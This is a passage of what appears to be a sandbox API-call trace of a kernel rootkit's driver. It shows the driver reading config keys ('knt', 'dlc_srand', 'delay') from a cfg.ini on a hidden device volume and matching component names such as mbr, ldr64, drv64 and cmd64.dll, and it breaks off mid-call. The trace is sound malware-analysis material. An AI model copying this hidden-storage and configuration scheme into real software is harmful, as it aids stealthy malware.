0xfffffa8003aa6e20 [0119.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.018] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.018] IdePortDispatch () returned 0x103 [0119.018] KeWaitForMutexObject () returned 0x0 [0119.018] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.018] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.018] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.018] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.018] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.018] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.018] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.018] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.018] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.018] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.019] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.019] KeLeaveCriticalRegion () [0119.019] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.019] ReleaseMutex (hMutex=0x100) returned 1 [0119.019] Sleep (dwMilliseconds=0x2bf20) [0119.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a245310, dwHighDateTime=0x1d24fa4)) [0119.028] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.028] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.028] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.028] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.028] KeEnterCriticalRegion () [0119.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.028] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.028] IdePortDispatch () returned 0x103 [0119.028] KeWaitForMutexObject () returned 0x0 [0119.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.029] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.029] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.029] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.029] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.029] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf100 [0119.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.029] KeLeaveCriticalRegion () [0119.029] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.029] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.029] KeEnterCriticalRegion () [0119.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.029] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.029] KeLeaveCriticalRegion () [0119.029] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.029] KeEnterCriticalRegion () [0119.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.029] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.029] IdePortDispatch () returned 0x103 [0119.029] KeWaitForMutexObject () returned 0x0 [0119.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.030] KeLeaveCriticalRegion () [0119.030] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.030] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.030] KeEnterCriticalRegion () [0119.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.030] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c58000 [0119.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.030] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.030] IdePortDispatch () returned 0x103 [0119.030] KeWaitForMutexObject () returned 0x0 [0119.030] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.030] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.030] IdePortDispatch () returned 0x103 [0119.031] KeWaitForMutexObject () returned 0x0 [0119.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.031] KeLeaveCriticalRegion () [0119.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.031] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.031] KeEnterCriticalRegion () [0119.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.031] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.031] KeLeaveCriticalRegion () [0119.031] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.031] KeEnterCriticalRegion () [0119.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.032] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.032] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039ca330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.032] KeLeaveCriticalRegion () [0119.032] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.032] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.032] KeEnterCriticalRegion () [0119.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.032] ExFreePoolWithTag (P=0xfffffa8003bbf100, Tag=0x0) [0119.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.032] KeLeaveCriticalRegion () [0119.032] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.032] ReleaseMutex (hMutex=0xf0) returned 1 [0119.032] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.032] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.032] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.032] KeEnterCriticalRegion () [0119.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.032] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.032] IdePortDispatch () returned 0x103 [0119.032] KeWaitForMutexObject () returned 0x0 [0119.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.033] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.033] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.033] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.033] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.033] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d3bb0 [0119.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.033] KeLeaveCriticalRegion () [0119.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.033] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.033] KeEnterCriticalRegion () [0119.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.033] KeLeaveCriticalRegion () [0119.033] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.033] KeEnterCriticalRegion () [0119.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.033] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.033] IdePortDispatch () returned 0x103 [0119.033] KeWaitForMutexObject () returned 0x0 [0119.033] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.033] KeLeaveCriticalRegion () [0119.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.034] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.034] KeEnterCriticalRegion () [0119.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.034] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c59000 [0119.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.034] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.034] IdePortDispatch () returned 0x103 [0119.034] KeWaitForMutexObject () returned 0x0 [0119.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.034] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.034] IdePortDispatch () returned 0x103 [0119.035] KeWaitForMutexObject () returned 0x0 [0119.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.035] KeLeaveCriticalRegion () [0119.035] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.036] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.036] KeEnterCriticalRegion () [0119.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.036] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.036] KeLeaveCriticalRegion () [0119.036] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.036] KeEnterCriticalRegion () [0119.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.036] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.036] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.036] KeLeaveCriticalRegion () [0119.036] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.036] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.036] KeEnterCriticalRegion () [0119.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.036] ExFreePoolWithTag (P=0xfffffa80039d3bb0, Tag=0x0) [0119.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.036] KeLeaveCriticalRegion () [0119.036] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.036] ReleaseMutex (hMutex=0xf0) returned 1 [0119.036] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.036] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.036] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.037] KeEnterCriticalRegion () [0119.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.037] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.037] IdePortDispatch () returned 0x103 [0119.037] KeWaitForMutexObject () returned 0x0 [0119.037] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.037] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.037] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.037] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.037] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.037] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca1c0 [0119.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.037] KeLeaveCriticalRegion () [0119.037] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.037] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.037] KeEnterCriticalRegion () [0119.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.037] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.037] KeLeaveCriticalRegion () [0119.037] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.037] KeEnterCriticalRegion () [0119.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.038] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.038] IdePortDispatch () returned 0x103 [0119.038] KeWaitForMutexObject () returned 0x0 [0119.038] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.038] KeLeaveCriticalRegion () [0119.038] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.038] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.038] KeEnterCriticalRegion () [0119.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5a000 [0119.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.038] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.038] IdePortDispatch () returned 0x103 [0119.039] KeWaitForMutexObject () returned 0x0 [0119.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.039] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.039] IdePortDispatch () returned 0x103 [0119.039] KeWaitForMutexObject () returned 0x0 [0119.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.039] KeLeaveCriticalRegion () [0119.039] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.040] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.040] KeEnterCriticalRegion () [0119.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.040] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.040] KeLeaveCriticalRegion () [0119.040] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.040] KeEnterCriticalRegion () [0119.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.040] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.040] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.040] KeLeaveCriticalRegion () [0119.040] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.040] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.040] KeEnterCriticalRegion () [0119.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.040] ExFreePoolWithTag (P=0xfffffa80039ca1c0, Tag=0x0) [0119.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.040] KeLeaveCriticalRegion () [0119.040] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.040] ReleaseMutex (hMutex=0xf0) returned 1 [0119.040] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.040] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.040] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: 